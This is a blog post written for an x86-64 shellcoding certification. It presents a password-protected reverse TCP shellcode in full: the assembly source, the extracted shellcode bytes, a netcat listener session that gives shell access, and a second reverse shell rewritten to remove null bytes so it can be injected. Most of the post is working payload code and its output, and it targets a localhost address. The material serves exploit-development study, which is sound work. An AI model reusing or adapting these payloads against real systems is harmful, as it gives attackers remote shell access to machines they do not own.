SLAE64 Assignment 2 - Shell Reverse Tcp with Password
Introduction
The tasks for this second assignment are in a first time to create a shell reverse tcp shellcode, that will need a password before executing the shell, and in a second time to remove all null bytes from the reverse tcp shellcode discussed during the course.
All the source code for this assignment can be find on my github repository
Shell reverse tcp with password
Like in the previous assignement, we cannot use socketcall so we will use the connect syscall to initialize a connection to our netcat listener, and other syscalls that we have already seen. And this time if a bad password is entered, we will exit properly.
; skrox@kali:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h |grep -E 'socket |connect |dup2|read |execve |exit '
; #define __NR_read 0
; #define __NR_dup2 33
; #define __NR_socket 41
; #define __NR_connect 42
; #define __NR_execve 59
; #define __NR_exit 60
global _start
section .text
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor edi, edi
mul edi ; rax, rdx, rdi set to 0
inc edi
mov esi, edi ; SOCK_STREAM
inc edi ; AF_INET
mov al, 41 ; socket
syscall ; exec syscall
; connect(sockfd, {"127.0.0.1", 1337, AF_INET}, 16);
push dword 0x0100007f ; 127.0.0.1
push word 0x3905 ; 1337
push di ; AF_INET
mov rsi, rsp ; RSI point to the sockaddr struct
mov edi, eax ; sockfd
mov dl, 0x10 ; addrlen
mov al, 42 ; connect syscall value
syscall ; exec syscall
xchg eax, ebx ; save 0 value to EBX
mov rsi, rsp ; RSI point to buffer on top of stack for read
mov dl, 8 ; number of bytes to read
mov eax, ebx ; read syscall value
syscall ; exec syscall
xchg rdi, rsi ; copy user password address to RDI and keep sockfd in RSI
mov rax, 0x737334507433334c ; L33tP4ss
scasq ; compare 8 bytes from RAX with 8 bytes from RDI
xchg rdi, rsi ; reset RDI to sockfd value
jnz goodbye ; if ZF set to 0, bad password, jump to clean exit
mov esi, ebx ; RSI set to 0
xchg eax, ebx ; RAX set to 0
add esi, 3 ; dup2 counter initialized
dup:
; dup2(sockfd, stdio)
dec esi ; starting with stderr(2) to stdin(0)
; RDI already set to sockfd
mov al, 33 ; dup2 syscall value
syscall ; exec syscall
jnz dup ; if RCX != 0 we need to confinue
; execve("/bin/sh", null, null)
push rax ; string terminator
mov al, 59 ; execve syscall value
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp ; RDI point to "/bin//sh"
; RSI already set to null pointer
cdq ; RDX set to null pointer
syscall ; exec syscall
goodbye:
xchg eax, ebx
mov al, 60 ; exit syscall value
syscall ; and exit
Then we extract the shellcode :
skrox@kali:~$./compile.sh reverse-pass
[x] Assembling...
[x] Linking...
[x] Dumped shellcode :
\x31\xff\xf7\xe7\xff\xc7\x89\xfe\xff\xc7\xb0\x29\x0f\x05\x68\x7f\x00\x00\x01\x66
\x68\x05\x39\x66\x57\x48\x89\xe6\x89\xc7\xb2\x10\xb0\x2a\x0f\x05\x93\x48\x89\xe6
\xb2\x08\x89\xd8\x0f\x05\x48\x87\xfe\x48\xb8\x4c\x33\x33\x74\x50\x34\x73\x73\x48
\xaf\x48\x87\xfe\x75\x22\x89\xde\x93\x83\xc6\x03\xff\xce\xb0\x21\x0f\x05\x75\xf8
\x50\xb0\x3b\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x99\x0f\x05
\x93\xb0\x3c\x0f\x05
We compile it and execute it :
skrox@kali:~$ g++ -fno-stack-protector -z execstack -o shellcode shellcode.cpp
skrox@kali:~$ ./shellcode
Shellcode size : 106
We will run it two times, first to test the exit, then to test the shell In the terminal of our netcat listener :
skrox@kali:~$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36740
cvvcx
skrox@kali:~$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36742
L33tP4ss
ls
RevShell-null-removed.nasm
RevShell-original.nasm
compile.sh
reverse-pass
reverse-pass.nasm
reverse-pass.o
shellcode
shellcode.cpp
exit
We are done with the first part.
Removing Null bytes from the reverse shellcode from the course
Dump of the original shellcode
First we will compile it then we will disassemble it :
skrox@kali:~$ ./compile.sh RevShell-original
[x] Assembling...
[x] Linking...
[x] Dumped shellcode :
\xb8\x29\x00\x00\x00\xbf\x02\x00\x00\x00\xbe\x01\x00\x00\x00\xba\x00\x00\x00\x00
\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x00\x00\x01\x66\xc7\x44
\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\x02\x00\x48\x83\xec\x08\xb8\x2a\x00\x00\x00
\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\xb8\x21\x00\x00\x00\xbe\x00\x00\x00\x00
\x0f\x05\xb8\x21\x00\x00\x00\xbe\x01\x00\x00\x00\x0f\x05\xb8\x21\x00\x00\x00\xbe
\x02\x00\x00\x00\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68
\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
skrox@kali:~$ objdump -M intel -d RevShell-original
RevShell-original: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000401000 <_start>:
401000: b8 29 00 00 00 mov eax,0x29
401005: bf 02 00 00 00 mov edi,0x2
40100a: be 01 00 00 00 mov esi,0x1
40100f: ba 00 00 00 00 mov edx,0x0
401014: 0f 05 syscall
401016: 48 89 c7 mov rdi,rax
401019: 48 31 c0 xor rax,rax
40101c: 50 push rax
40101d: c7 44 24 fc 7f 00 00 mov DWORD PTR [rsp-0x4],0x100007f
401024: 01
401025: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
40102c: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
401033: 48 83 ec 08 sub rsp,0x8
401037: b8 2a 00 00 00 mov eax,0x2a
40103c: 48 89 e6 mov rsi,rsp
40103f: ba 10 00 00 00 mov edx,0x10
401044: 0f 05 syscall
401046: b8 21 00 00 00 mov eax,0x21
40104b: be 00 00 00 00 mov esi,0x0
401050: 0f 05 syscall
401052: b8 21 00 00 00 mov eax,0x21
401057: be 01 00 00 00 mov esi,0x1
40105c: 0f 05 syscall
40105e: b8 21 00 00 00 mov eax,0x21
401063: be 02 00 00 00 mov esi,0x2
401068: 0f 05 syscall
40106a: 48 31 c0 xor rax,rax
40106d: 50 push rax
40106e: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
401075: 2f 73 68
401078: 53 push rbx
401079: 48 89 e7 mov rdi,rsp
40107c: 50 push rax
40107d: 48 89 e2 mov rdx,rsp
401080: 57 push rdi
401081: 48 89 e6 mov rsi,rsp
401084: 48 83 c0 3b add rax,0x3b
401088: 0f 05 syscall
Like for the bind shell, we can see that almost all null bytes are with “mov r32,imm8” instructions except one “mov m16, imm8”
40102c: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
two “mov r, 0x00”
40100f: ba 00 00 00 00 mov edx,0x0
...
40104b: be 00 00 00 00 mov esi,0x0
And the mov for the loopback address 127.0.0.1
40101d: c7 44 24 fc 7f 00 00 mov DWORD PTR [rsp-0x4],0x100007f
We will remove the null byte using the same techniques than for the bind shell, Execept for the ip address that we will correct using “sub”
Dump after null bytes removing
skrox@kali:~$ objdump -M intel -d RevShell-null-removed
RevShell-null-removed: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000401000 <_start>:
401000: 31 ff xor edi,edi
401002: f7 e7 mul edi
401004: 89 fe mov esi,edi
401006: b0 29 mov al,0x29
401008: 40 b7 02 mov dil,0x2
40100b: 40 b6 01 mov sil,0x1
40100e: 0f 05 syscall
401010: 48 89 c7 mov rdi,rax
401013: 48 31 c0 xor rax,rax
401016: 50 push rax
401017: c7 44 24 fc ff ff ff mov DWORD PTR [rsp-0x4],0xffffffff
40101e: ff
40101f: 81 6c 24 fc 80 ff ff sub DWORD PTR [rsp-0x4],0xfeffff80
401026: fe
401027: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
40102e: b0 02 mov al,0x2
401030: 66 89 44 24 f8 mov WORD PTR [rsp-0x8],ax
401035: 48 83 ec 08 sub rsp,0x8
401039: b0 2a mov al,0x2a
40103b: 48 89 e6 mov rsi,rsp
40103e: b2 10 mov dl,0x10
401040: 0f 05 syscall
401042: b0 21 mov al,0x21
401044: 31 f6 xor esi,esi
401046: 0f 05 syscall
401048: b0 21 mov al,0x21
40104a: 40 b6 01 mov sil,0x1
40104d: 0f 05 syscall
40104f: b0 21 mov al,0x21
401051: 40 b6 02 mov sil,0x2
401054: 0f 05 syscall
401056: 48 31 c0 xor rax,rax
401059: 50 push rax
40105a: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
401061: 2f 73 68
401064: 53 push rbx
401065: 48 89 e7 mov rdi,rsp
401068: 50 push rax
401069: 48 89 e2 mov rdx,rsp
40106c: 57 push rdi
40106d: 48 89 e6 mov rsi,rsp
401070: 48 83 c0 3b add rax,0x3b
401074: 0f 05 syscall
And it’s all for this second assignment :)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186